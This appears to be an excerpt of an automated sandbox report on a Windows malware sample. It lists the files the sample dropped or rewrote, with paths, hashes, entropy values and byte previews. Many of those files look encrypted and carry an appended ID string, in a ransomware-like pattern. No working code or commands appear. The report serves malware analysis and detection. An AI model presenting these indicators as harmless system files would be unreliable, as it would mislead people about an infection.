Preview:	{"ram.i...Ex...m..z~7.k...#.....{.....Na\....a..d..}..'^..w.,w.+K.....2..L.`....s...k..1.&WE.Y/\.E(:..)..+.[.....@M...J.I...Y$.%G...c..W_D....uX.....V.....L/X..3..T.!.M.[....6...?....(..V.l...-j..;6eM..+..#....>:....h.../cq./.}.Y...8..S.\|1\|..E...B.>...aim..~<..^.R{......e..........?.C.T;c..H.[.<.....$Y...j.....F.a."lA......?.BD[.B.C..=...37..os.1w[m <..f.....`.V5.J"".&.......I....nJ.\..Y..Ri2-........\|n;...rA.(.Y..'.ZH( . .y.`.-..=u.p.Z.%f.... H.YR[e.a. ..cil\......kIx..E.C..`.B)....,V5.......)..9.g..JZ..S.#<n.Z.T....W.\|...... y..j...s.@Q.lML....o...(`.^.A.7.......d....^F........)+.Z.YQ........0d..q......"..2W3....1......~....J.cT..X...:..$>.........' ..&......M)..?.Di...?)\~..-.4V:.9k\D..2..Eq.N<.R".... ../f^.~..@.Tgjs.^0......W....S....`...'. ".k..5..F.w..>.4.+.R..!0......TTyW.......(S.......g.......L..S.O..`./.....-}.[.)u`..)...\,..[..k....."H.Pp..nX.....+.c...8=..X.........h...77_.a...lO..............?J...^.qH.DC...}5'. 1H97sw....1....q

C:\Users\user\AppData\Local\Temp\wctEA40.tmp

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997638844963769
Encrypted:	true
SSDEEP:	1536:Gll2UT6hxMSNAY28V2ha7u+Hi89IHB0fIJwmVv76oPYvfPmgnbN:+l2U+mSNDvV2iC8IHBoee3x
MD5:	27C4D07B65E15A9419B7E10212E4348D
SHA1:	B4BB5F63DBFB37B7115EE7F7AF754FE69C169372
SHA-256:	CE8EB21F1A24C1B95EADED605F0631C47779D1E82C038833316B21473C36D5C1
SHA-512:	569C459581C1773EED4A3F816B4DED786F4E1DDA986BD046BBCCA173717E2BA943BA01691640F68371E03B909DB57C8C7482AAC9C056D8C6A73FE0C3161D8E24
Malicious:	false
Preview:	{"ram..?...9H8...d..n_.t......x..3Q.B.ZR.g......X.uI.....q.{^.T+E...w>.C...vq.MO....`..?#...&..c.....].6..D#.H.P.T.1..a..-..]...4.Q.?.......K..Z(K..K#.....A.Bz.%=t..\p$>).<9R-X..Iy.og.+.6........60F...L.....e...u..w...2X...B.LT.....h....(..E...!....^.:...E.4&"...;......BTh...x..$:o;.."..$..8.D.......6.Y..q.?v\>.......?.......i..]. Kw>o..<.H.H<...hc.3..D.".....t....}.......)\|.6z...^.V. ....@l...q...G.\...q.zj.Q.C^$..O_.d....qQ.o....)L........;..c.}... .!...7....?..m.].@1I.'`.H.e...u..t./.q.R}..N.......~..\|m/>.....t........??..........n.........L=..K.P?......H.v.P.7.Yj ..d..V.#..A..}%.Z....}9.H...If...T.T-......c..xq1.Q.P..967^..G...;...m..v,.:.o..q..Z...x.&7...p.(.B(...8..I-..2..2........L...2...K..o...\^..'.......9.......E:Ia..^+..3.0\D..y...C&.}....t=.B,\|...,!.!.Y.W0.x1.r.o..h.W.=...o.v...&(bh...^A...a...a.\..Q..E..O...V.T..c.tr;.....3...(.{6..t.....T2..GF4.#%=......`...G`.....g.U{.Y.....5.aD..S."..i..M.J...........E.c0./.....@....vJ..})B{...zg.c

C:\Users\user\AppData\Local\Temp\wctF411.tmp

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997654215484679
Encrypted:	true
SSDEEP:	1536:E++YgCL843nE72sF7Y8ZyLIFKnAtbxHz5QUOih7/iO0Xayp6kV6RjCL/pIsRrU8M:EbMLrnE6sFM8ZyAnHzpd7/i2NkoRjCb8
MD5:	4D5B20367E72CD0522FA8A8EDA5D1567
SHA1:	4C58E9BC1487B37EA769C118CE901294EB163FEA
SHA-256:	8FAAE98B2CF51802CE176A2AAF8613269F934DFA1EF70BCB4ED65DE4DA809D3D
SHA-512:	7785492CA905A45EDBA8F2FBF38CF39D83B4338FEB3F32A212B838A390A72D9362B3663829F42615E9B9DDE35DC9103DEBB854DD423F5A36D896992ABF2BE588
Malicious:	false
Preview:	{"ramlX`^..`.C.)..4x..]...Ok6.(#q<f^......&>.,.).m..<^R...../.[.....Z8'...=.C....#B......."...&.@.U.."...&..?....v^.R...w..O1V..@......;u!..........P.#7.&{.8.N..}j.Qw..Ah...})...f}@...jE=z\@.F._......="L.uVuQ.."J2\|..@....z..C...W.2\OS\|N.7.YlXJj......hNl...=.l..v.G.......s..,.d._y.J..vK.........h;..-...'...I:2k.[W../"`.}.u.M..x..b..7.....dk...ab...G......Zx.1.....<_....)h.....+.D.....V.r.Q.....`...6.;.D.W.....u!@z...[.{...H?<.....Q.....j.b......a...JZ.(...w..=X.WA.9I.=.5.DN_..u..1..wS=G......}y(<F\......6>._.MR.g.35.=..^..zlL._^d0...W..^.u..M..<m....yi.1<C>;....Vs.\|.T...;O....<t............u...l..^..3iF4.H.zF.G....Yw.....uh.6..PI..,....$..&i.Z...8..9.R...d."a....v..m5@.....g ..P.G..B3z.\|.#. ..EcR .+:.C..Hr[Q...3..L.4\v.34.....i...'.R..F..L....=...... ..t.....7%.2..d...u....~........{...&u.Z..1.x..;>T.G,...U5.45...yT. ..N@.J..O.Z.7?..0N.ap..7.{...0...\|.N.m>.xc.......qm.E(..R...?../.....X.x.....?p..U7........^..B..8..T..z.\|.[.i..,.

C:\Users\user\AppData\Local\Temp\wctF86A.tmp

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947665401229243
Encrypted:	false
SSDEEP:	786432:owQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59l:FQcWxDMPnN+dk65gGUjku4vNjLjl
MD5:	5AF2E3705986213ADFCC07688DD61DBE
SHA1:	E01E0956C0AD5BAE3843B0851024CE378C12D0CA
SHA-256:	D36B77C2D31F2FE48CBE7F3E0BE190BAA60C736F6D90C174CABEE7BB6AB7048B
SHA-512:	4C304F1786BB8D8E233A45F5B5D3DE627F1302452390ABD186D685FEB01F29C7CF6307ED77D1F951346F913A87B338EC70F3D9FE3A3EDF56B4B29DA1CAD2776B
Malicious:	true
Preview:	MZ...E..CU....i>V..U.>..7....m...s..%o'Y..s.6.._....&.....V@5Dg.[.0..O...:)Rr..6....Qs.._7m.).....OO...........m.kE...<.......!.].-.........d.....L.Ad...?.P~a.....4.%&s.R)...'.`."..i...V.D..!.u6.X....B..:.[.k.....\5..M'....1......X.b...{.....Mw.....w..A.&..z@4...a........ac.#S.Zw.I..f9...cm\.1..?7.et.y.>i.8t[...^..h...JByT..F.>...N1.o.V.`>.....y......dv.....]\|.....V..1.iL.....5.r......OL........!W>6..s.O{Xv..c....&..rP..J..'...Z.........Y..Yc.X$..]g....7/gJ...>...M....>..3...A..R.5.....V.......]..V.tT.3.4P.:..z....w......w...jr!...[..X8.R..HR...-nQ.U....mL..`.ZV..k3>."Y\|..C?.....X.TQ...y.(g.8#.Uo?.k..B}6`_EJ$=E..z.``...,Ja{.......:S...x._...A.%.z=....gE..R..SBd...Z{. ;.)..........G?.p..^..=.p)...6.Kw..}.K.?.l.1.........Y.\.o.#OT_7..A...=}.\\|..&.j.+..........wl?n..'.6...1..zO..(9..B.#......I.~..c....... ..0...X..WCQPE.........O......Sa.>.E=%..)'...n..6._.Ho..`..tB...D/.....ho....w.X...w.......VW...\D.i.{..]i%..\...i....C.D..W......G....>.

C:\Users\user\AppData\Local\Temp\wmsetup.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.809829957877744
Encrypted:	false
SSDEEP:	24:ttlf3mEeF0ZMQxgT72if2ZugFWYn2bMnrc2565btmbD:Dlpe2Ze72zoYn2gnrc95p0D
MD5:	DB585AF4DDE603597AC35AA5F22126A4
SHA1:	0F61DA60E533594F376EA8ADC3226A0584ADB846
SHA-256:	6D16F6123B9F00EA5CA70DC0D79138957EE72863CA65DFA8FA0E0DAEC19A628A
SHA-512:	1F79773B5A330D79DC73A8E61EF32EDF16FF4191693FE0827A72A94D008BD094DCD2646C43699DC9805CB17884B8D881C2E5EF740C734D0DE3C670F30E71FCAA
Malicious:	false
Preview:	..[W.Jw'F.vk..@,.M.8...c.\|Wx.Kv..h..Aw.j...t?6ld.G\N..<..o...&k.[R;...$1~.W41......[.E...&Qi..L.y..a.i9.q....ro...>...h&.......W&..kP.....&..O.E.]X..\........]...z...%..,.h..."0#..h....6.LJ...4...+^f.....u.e.5..C_D..{A.q3.Z.i@..!.E....'(...I.-..<.;v..8.\....K....WXO.'p....7'.............yK".!\|.e......%.f.....@..&+'.r~w..%..M\.n._4.& .(....m...6......z.. .;-9V....0.W....e.uE..F..m".@~........."..f..bE:....:].e.`-..8z.\x.!......~....A...ZE..Sv.t......\|0..b..U..h.$.@$.;!C......4..Ms..4Y.........r.!.\t..KN.,.{...5....i.O;j:.9.1.". )+..(QN.....O...C.p%.......o...4......>~`...=%.F{......Mf.$.2..C.......c-.rw..z. .o...K..ty...N.KXO/.N..n.4$-)...x8..jA.....j..^.C.j.......R... ..s.S......b.......@.(...........8.....2).U.i.zc......h..%...'......k..&}..p..7..9.]...<F.j.\|.Ab34X2..},.l......u/.'....z..=./.1.......t.n~1'.C=.......w(.2.}....!..=Nnv.N.....T[XW..j..>...)m2..........].....^.^_kGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698

C:\Users\user\AppData\Local\Temp\{02662522-698F-45B5-959E-0EC7B36298AD}.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.973326193664191
Encrypted:	false
SSDEEP:	96:DwwZ2wp+VlJ+nyrVaDzj5EoVZM63gYuTyRO8JfY4flgGSvz3/5:Gy+Viy4Dz57X5a+NJQc5Svz3/5
MD5:	F92B8755A0CB5AB232F43109AADB8ACA
SHA1:	6F4FDF60A5507E1CB331DC23BC54B3AE0A984311
SHA-256:	878793948041C49409A41C3F22E419994B3A68E0CA69B10961AE3CBE0910EC18
SHA-512:	3D855D277733182E3AA2C37353695045DC440981242BFFA79B1145AF4499B833158ED479978D795B47E57B2D3D1EF906E35B78FE326BC21E077C30E20E82EA30
Malicious:	false
Preview:	.PNG.Pi...K..s..6...........f..O...l..j..1.....u"\|....d.......S..L.I......\|../....f.M..A.$...H..T...0.tJ...zZ...F...o.W......K.K.....&.-.....L..J=y:,.L....n......._.H....&..jpZ\|W..=...l.F..h..E.....h.....B....I..yi..qs...K........i..}0.(....{..c.{]..L...+.P?..A..X.._6$..3.Qkc.7......\|-....y...%7..h..l..1B.q.....8..3F..#..._J8l...@W"aU..P.T......(.B.fh.A.B.{.$... x<uH.../%G.g.Xg.L.E...$..(g.....G.D...2M..wu..Q.U$.N..p..J.....cx.hz..9.`..z.2....yg...8.].A.T.<..>.\|..dLtn&dY............'.m..Da ...]..c..<7fv..x.....y....SvQ7..1...}.{..o.EQE....=.3.{.~.....]..K@/..9..\|.Y.wq..<l.Q.qj.K.C.&J.gT..... .N....38..>......>.k...o......3.i.....0..x[.O.eX.2Y=e....d..(..gX.PR......c..i.k.[.^..hy.%..\tw`...c..uJ..V...s.`..a90.g...Ds.H....b...%....j,....J...Q.=.\|../....o...SG.....#.,..2....l...%2....A....W3..[..}]t}...u........sg...$.....C.......D'......}22.....\|......Y..:..z..v.=sX....6-v.*r@..g..9wX..B]}....Np1..........."\|h/..:...s..\.......

C:\Users\user\AppData\Local\Temp\{139BFC28-947F-45CC-9DE4-AB0FCAEF6E9F}.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.969181806495905
Encrypted:	false
SSDEEP:	96:NV5r1qFwxS0FoH44Ye/ivupWO4Civ9SUmDHfT3/LJIK0qWreo7rkqr7Er+sx5wv6:NSOnFoY4o2C99SBHfTvLboeAd/u+sEdE
MD5:	BDE7FEF61FBB39C211C683E0FFEB7C1B
SHA1:	771F5ED550BA61BD1E53D9BB8F36A761B4BC09CC
SHA-256:	AAE12A70B3F3F1D7B17647DD940AECC061BD8496658E68291043E42975BAF51B
SHA-512:	3E3A226E057D19B7F6006992BE7D72AE51DEDF0108499A3B80A3C14328C688B0277E6F0F626A74774D6413D6F85DF49C9328B07236E6079D01C71ADDD3D4638F
Malicious:	false
Preview:	.PNG..=Wy~..../K}..X=-Rt/...z...r..d@..z.`..k..a,..{...).86.x?......[.....v].......}..'n@7.....:oS.o.0' )x..-pYrg...!.......`q.+U....!..9....<.a.V..c..H.,U).Q..-..m1.'..eEU./.~N....6....u....5..K.n...g. ......t4..g..i.....O....arl^..^.._.......O0p..~.q.h..h.e..&..7.c..w.....QB.h....}...F.8........1..]F...b..E94~....y..l.2!.C+...d....}P..6P.......y..3_..{.....^.A.8.....Y...\|..~.....%.."..G...\.%.KZ.E;.5(..mg.6.4.g.v8.[.'.%.w...T.D..%e!q..h..Db...}.(....sR.Z...0\|px...a...y{.U.)...S..+.E<.\n.....,.Xq\|.."cW..TU.,).Ev.5....W..H)@O.<....y3....p..x.....8`.D.\|p....).1.Pq1..P.J.gU.3....fy..[.Z(.B@^...{.Y.....wP......'..._.K...?2...25[...\|.Z..bb...u..4.L.w@..G<..ZUpca...S.x..QT.....9..z;......T...=.D.w..#..:)g..)y..m.Z....i..<3.E8&...kI...fz[......^r .........X.\|....s....s.....t..;...o.$p ....OC......Q.....q0.......W.j...a'......"V.z).\2...w.......t.QTE.9.T...!.wR.!R. h..........e.].M..{.....T1.1jk........R.."H.(...Hs..%.=..H"[...u..@.C

C:\Users\user\AppData\Local\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.972694829464739
Encrypted:	false
SSDEEP:	96:1zs08sNi1dgkXinJ+eJY9970+EcpFgKM1c/KCLuE0sP8usj:1CsNDWinUnjNESFuc/KCKEnRsj
MD5:	F3C9DC9EEEA40B4364EEF1ECE196A32B
SHA1:	E4DAEABFA1EA9B6A64B22B85C1C3B300C6B811CC
SHA-256:	4D268ED7027D0EBA6DC579E804852C260594D16B56D2A8EEFAEAA36A82A5D4BE
SHA-512:	B694EBEA8B5DCBB51BBD5C5C2ABBA671D5B598222F963D59F906E667309060F8BEFBF01BA860E54FFDBB907E238306AA23794A56765304EAC43E749BE1E15000
Malicious:	false
Preview:	.PNG.........~..,..\|....g.b.7...{gI#3.$..-5._..(.c......z?..`........wd(..<....).+`[.._.f?..X....l..t.{"rZp.f.X+...&.]..O...<....#'c>..P....br......$.I...$......H.x6.y.}<.j..UGG.-..b......"..].9.h.BA...&.RA..Oy.;.>Tm.I&....9FZ.Fv......}..n.._G.... :.i.:F.D[...Z#...:\|V..."."..C.X....9.'..F.l.h.....).X..a/......+Q.i.4..?...B.....Dx.. ..rt.@P..j.T4T.......Hd......I.!R.%...K.W..a...L#...F..8...8.N].m...+pb.@.4w.C..3jN.....D...~...2..'&..3..:T. TE.RW....v.M.....L#..Ot. ......,....X...!..>%H..Vb.%......-.)..:.E/..>..\|...2.2...O.."j.(\|.b.3.w.h.../...Qp...=.....@..&...&....5...{.5A......=..8.A#.vn`[.^...wO...0.0.i.Lc...3..?...j.j.{...Qy.....D.k.....@..6..._R..a-..M@m.{Hj!Ko.&?.\.....5-].....].B..if..i....$.[p.N....E....mLs..K.0....PN..T..:2O..u,S...Z..QU...?...Uq.[.FQ.*.T<+c........4.J.8.7CL..W.=.Ut.4.#..Z..4...\|.p(..E6/\......o.:`........v.3.8...6..{.&....U./....^w...W.!.y..[..z..e83.W..'.2.v/.n.bX..+~..[%..,.m..V..........a....

C:\Users\user\AppData\Local\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9676852180477225
Encrypted:	false
SSDEEP:	96:rJ0mWvvM7yH6kzy8ykBZ0ajouukuqcWXzNahHb2/FTvb8SvtSxCl:rJ0TMqy81Z0ajoueqcURb8Oug
MD5:	F2E87A9E0F4279B5E933038CD9FB6909
SHA1:	525D2CC5FF1CB6FBE1F2DAC4898BFD540C02001A
SHA-256:	24F21CE04094A1021B05F5C2E3AD0DEC4AFFA2026BFC35D1AFCB6637630EC397
SHA-512:	07B97C126D524DF506D3775BA9C8099653EFD58489D2FFC26E8CFD3B0C29768C3C2980E93988E9EE3A76B6D185AAACB9A603801C2075AB6822D2A965BEEEDF68
Malicious:	false
Preview:	.PNG.W}w.\.......%......".j.....eD30..R..5<.$w+.t1....\sc.....t...=.......Q.,f.._.m.h.Q..!.)G...'..DPJ...z<.....J^.X.2c`.?......V}.......zf.p.`ty...},..ic.u4q..$I.%......E.2o....}\k2.>.xM.Vg....h.q-x.....7.J2...`..Q.[....9..7Q..t2......F!4@b..+..f.l..x..ig.....@.ge.R2.....Y)..H.....T...&K....F.4.q.4p..gI..'N...X....5..{.M....Y7.+.u.R0ZP.g..".,UT.J.A{..$..pKt..5..e..d.k............A.%.R.......w./.b....wb._.....1... ..;....}e....r..;.....ZE.C+.<~......k7z..g7.u.9o....O.1....p.7....46.c.P...i.%.Xf...%uV..].!.<-SP.},C.`X1}.....[...}.p...\SU...2.8..`....T..R...t....KS..P+.%.1....../!...m..O.d.DT.....1....?...&.:v!.Ep..:.....23..^-.K.<.&.Bs.Lk.....<..Z.w..L'....G....{.1.....e..:K..M....2..Z'....1.._..QK;[...k:w..:.*\|'.....7.....1`.P...-.\|EK..{mB.2..u..%.._\|up.rj...[.......x/..p$.<......4s....N.\i3.....,.2(..7..g...U`T.......==v.&.......s.2..7."...E.D...u.@_.l.o...W.G.s_...?Kq.]D<....FR>...M.....T....__i...1...&=...e.$/{G.+..a.&.f.f.F.E..cZ...

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.764416625871189
Encrypted:	false
SSDEEP:	24:rywM0G4do75zl+t12vXtOWPe1iLrGVej3qTuvbD:kKqH+totOGe1iLrIBcD
MD5:	BF4654015598588DFF43F08786D9E760
SHA1:	ED17A9288A71B0FE0604FC71961194C4095FC541
SHA-256:	748939562FD9599E9B30BFAF59CF2F0C3C4B4F6A7B54B54F1E5DD0A4AE5C4F43
SHA-512:	96A330AFF40963583843303946F7E9C199D0AE4515171605714B8E1A8FD6926E1299FC98FB9CDB37EF62F5884B451872C8A2E0C2C3E1A7D7E39E0BEAD41A4A1D
Malicious:	false
Preview:	<!DOC......[..6.......BH.. .O......TxC.. .o:?.o.cU.&...}.'.o7..P.x.%.V......BCCK.. ..5.f]X?....."d......U..IL..>l.J.B...........\|..e.5:8K."A.p.7E.]...VC..t.......s{...O.3j.x......rD...+&.H)...',}...........]..}1.d.2....]e..5..9....,[.<4j...7..6.R,......wd...Y....f.T...u.OV...D......E..!7q...al-....Q.N..(Wo\|.../.:.M.@..h%Zt....E.8=/.b......O3\.0z.k.x...b.hG....=dp...q..c..=mF..e}...._.e..$.>.q 8....rN........>.${.Kh......H.V'.....'.Nt...-.y...>...(.....,D....bPI..z. .@#...IC..EB....S....\|$i.$.7...A......?....0.J`[*....O.u,n.?[..8..0//.r+.s...Ur.w.LU.u.....+..).%9...+g.....h/...m.KS..+...;....T!..>.f>1.......Y...........5.{:{.....a...9.g.g.V....\GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997313757422149
Encrypted:	true
SSDEEP:	1536:fEsxeZMxsH4mnL3oTNyBsNKv5xHpe7h7HBhxd26kh:f98exsH48TopAswv5Fw7RBhxd26kh
MD5:	91F5EEA9F8D35505C06CF9319EB58DB2
SHA1:	6191D9737802CC7D4B33139E2D0249E86444C8A8
SHA-256:	2F73DCAEEA9B9198C5D2DE61C8831B34856BEA1945447F755089B35676AE0205
SHA-512:	5C7448EA41FB7CC4FD5B50D35FF97E101E82661DED0E5DBF5B67C4F5C544E3637E5AC84DA0C496EC89AFAFCD1ECE661E055DED218EA7CA5523B129B29A1CF3E5
Malicious:	true
Preview:	0.....J[.7.[........I....Xy.<..=m+~...._'..xd(.......I.c....2......K....UPo....[OX......k....5P..O.D..k...3....:.mXM......nB5E.-2@.h^o....01...^foP[h...]....X....c.`Z..zN..y0.......@j...8.....)}..}...3.K.rl.7..u......6?...o..^y5.cY.C...%H......gap/:.......MP},...4..6.....S..9.v+...?5...}.`...I...............C.....AUVM.u:.R..]N.?A.... n,.(..Q._.....!N.4.6.{.r.A.S.2..3.&.%6X.U-:...G>...^.\.b.......N-...5{.%.]q....O~i?5.?..)Y......#...(e......3o...>...%.~.W..m...b..Bl.T...&...6..\|..*g%.q.E}..7`.q..3m...e..OK....D....v.F....\|"....1)..:R.0P,.{..(.b....P..../J!+...#.<0...>.W...a.Kr;a........J...Z..~...::E}.n..b.........../,S...hJ..T\..7q.qX.7A.2UT.g.pM.@....7....Etq.i.Fe?.....3`A....{ZS..EX..Ec.{.....=. .R...1.S...!1..2......=..G.q.p2`Z^....`......,>..d`....km........-B....Sw.....r.6..K<......RK...=..#..:..y..]y%.........a.g$..I.Z/,@nK........L..e.9..[h\....6..Ls..\1iiCx0.^......F..'..l.8..BQI.$.....c..b.pe......m7...bb.Sy..U.....v\|...7..

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.800859696696123
Encrypted:	false
SSDEEP:	24:y9QJlzmG1r4YhsSwDe1S2K8aWn+sbpl4DW30dhbD:yYVhvwYS2E8+s9l330dxD
MD5:	B45D781C49F96DCFF74B033A66A063B5
SHA1:	DBFDE99AFDF3C14FF2E5548CCB218F4E93A55215
SHA-256:	38416508D5B303101CBB4D31B97134152E2F60B2CE62FA7AEA92C345BFAF7C20
SHA-512:	791439DD5D4806D0EB5CF5522007424374B23C3380E56191AD7EDCBB28B873DA7202045ED42DD2C73AE874804DB2D73A377BC57133213053E3104A1B08C8E8BD
Malicious:	false
Preview:	0...0X......}./..P.......1.R...=82......=...p....E.)Yj./......Yps..G4.}/.!.sK.n...6..(..._..]..K..&........\.>X`..YQ(.=jj.....k..k2H./IK6A..1.........\...MGnozR.....Q...@.P.T..~.......s......pB.)...1k%..;.5A.?...%Z...Tg..V...mN....,S.I.\....K0=h.TT...G....[=....h+b..K....El~H..&.x.g...:.....kM..".7.{...;g<...U{^...L.....!v.5..{...E....[...T.....3-..<\...NV..z..Q_.j8=.{J...r .a.$G.nS....;.'...8......;..g7..>.Z.t3.LE....L..!xS.e..0...Z.97q.o.\6.3q..B.;*..vYMT..d$.1aDE.......t...N.}mJ...LA.cgwk.pa.!.Roc..2...{}.%""..M.....:.~c....iru....+...O.j....M..<..0....Jy~/`......j...f.z@VUH.....=j..u......x....~....V..R..&/..Q.Bj.[h...d.nD..V....?..gz.5....x.:.....$.....3..g.'`.b.....RA...6..h...;.].5...0p...Qr....&...d.:...7.r.{....,.^h..D(.gn>.!.....wT....9..xyp...Co..g]..y<....U.P..M\|.^$.db.?......fxd..Z.wX...6x..O......Q.j.y.8x...............[.;...-X..K.}.g..:..~..4...KIIh.....`h..r.L2....6}.t.....S.^n..6..C...fQ..A..B..;e"(.GQ9DjFm

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.341639291755739
Encrypted:	false
SSDEEP:	6:oJV43w9hfbvggbsqWT4spWAJXK2ZknzFZYYRKX20lmJwLYG8vcii96Z:WW6fbsW4VoZZ0G0bYcii9a
MD5:	8024F72390AABEC875CA365F88725579
SHA1:	BCD93548BEA733B144DAF7829A7E59E1B2BBCB66
SHA-256:	9ADD4D8B4E3B003D7B8D78A8CCEF5CC7E802EDA88B27E9F300E5F06AABAA2AE1
SHA-512:	3649208FFDA0B25C7A313402AAAF53591780CF1F2289606B0D179E74C1969CC43B56F44D950DB556768CC51F9E07745BBB98794F7EA4523F25E1C4B56F24B858
Malicious:	false
Preview:	%PDFT&........I..`...p'...R(.....VL..9..78....Y..'...=...D.........R.+.]..p..G..$D.:..3.m9bxw..F...i..X..PC"O-;Z@.....h.......i...b..b.'.....$rR...U...y.`nm.p;.......O.[.ota;GJr...0~...K..V..f.'.}L...?:....Q.V..Z..eh..0e.y..p..V<..AU.?.N&..M....b.A$:.^..?.l).).h...z.>.U .-....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.323986668440484
Encrypted:	false
SSDEEP:	12:thYG9oTPWdKmNgSqIwARur+jGRW7unkW+dvVJaKYcii9a:thUPn6g6njGRYun4vVJavbD
MD5:	8C04BD53BE0F07A4F36DB7919E83A41B
SHA1:	70297FBC0FA59C495387C3319FC8EDFC6618E598
SHA-256:	DA4A582567CDDCC09C566376A51947750450F794FA51CFB6449065D0CBE72097
SHA-512:	28FABA5880E4A5D8D468F8DE989ACBD9874234981A50B831218F9AE92BDA89198DD6BD1AC9E51E816660105298C9647305C57038E15631C44D66DC289FA98FAB
Malicious:	false
Preview:	%PDFT.!D}.....Y.,....W..Kt...a..L`.-.K.EJG*h..[..Z..D......\..<O3.!..).4iS'5..17U.0T.I..`-.m..\|5K......x7..trg:..k...\|...C....z{..3n.Zn.8a......N.9I...G.. .<.).....e.C........^.....U!...p.. .G..h.3..-.3{..@@..P...n.%....f...%......rm.8.mh~...."Ca)\t."o.y.E?~....\.X!-6.[....B..XZ..+....#`.".s$GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.219088515135955
Encrypted:	false
SSDEEP:	6:QI3DVjCslYmrjib2K6LTmSvgQoFS3U5ZvTRu3Hc8GDxSIlq/cG33aLG8vcii96Z:Q6jvlzibZ6LTmHSgZ9BhSIc//33aKYcq
MD5:	5C5CC5862CF3CF75EFBFA487516C0C68
SHA1:	BFB5B167ACEF916A6D4ADA82FD2930BCDE659E9A
SHA-256:	1B623A4FC3A3B74F910458BE35561B0358D7521E73C31E9049DA2C6454BFE7C0
SHA-512:	D7F5487187308DF9FC0809655E41E23C9190D39E121EAF0803458C1A65F99C80DE1833F5A9C8BB4331A947D844AA25AA78E5DDEBDF939598B8F3EEE598488463
Malicious:	false
Preview:	..j.o...f...Jl.(b&@sz..t9#/H..U}.{.N,Z..........&......^I3ei?C..m.T..".4!....^a6,..z9..Uutc^..Z.,4..N.b..8B...#....So.pG:"....,sJ.j.. ]....^u.\|lKP+...n..F..]..?..#..ah.bX.V9dr&[..A.7@.*#g#.....l^e.J.AA. 6...9.Y..KP.."&{Y..ZR.F..\.D.#._..h....n..5N..;. h;.Q...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.851795969799936
Encrypted:	false
SSDEEP:	24:vYqPpYUAgNElezlt9L7DOg6lK12NQlIJ6gWbualx5BKjsuHQGqFs7bD:gqPz5tF7DPccTFC+LowJ2D
MD5:	8C37C58334E16A4FD98B97FFAC94DB83
SHA1:	5CE09A6EDAFCEC3EBC497542901962C9FB886CD3
SHA-256:	2FE16966E334CA39EB4A0FB6FA7AE5610DCE45DCC0BF5478C85154E2F6D68693
SHA-512:	07C419ED2524FDD0F8092463B94A5FF774012795669C6A77FCEA52A3F635120ABA7E4F9EC65EA680E283123BADAFE291345C02B72832B1F27C629698FAFA3084
Malicious:	false
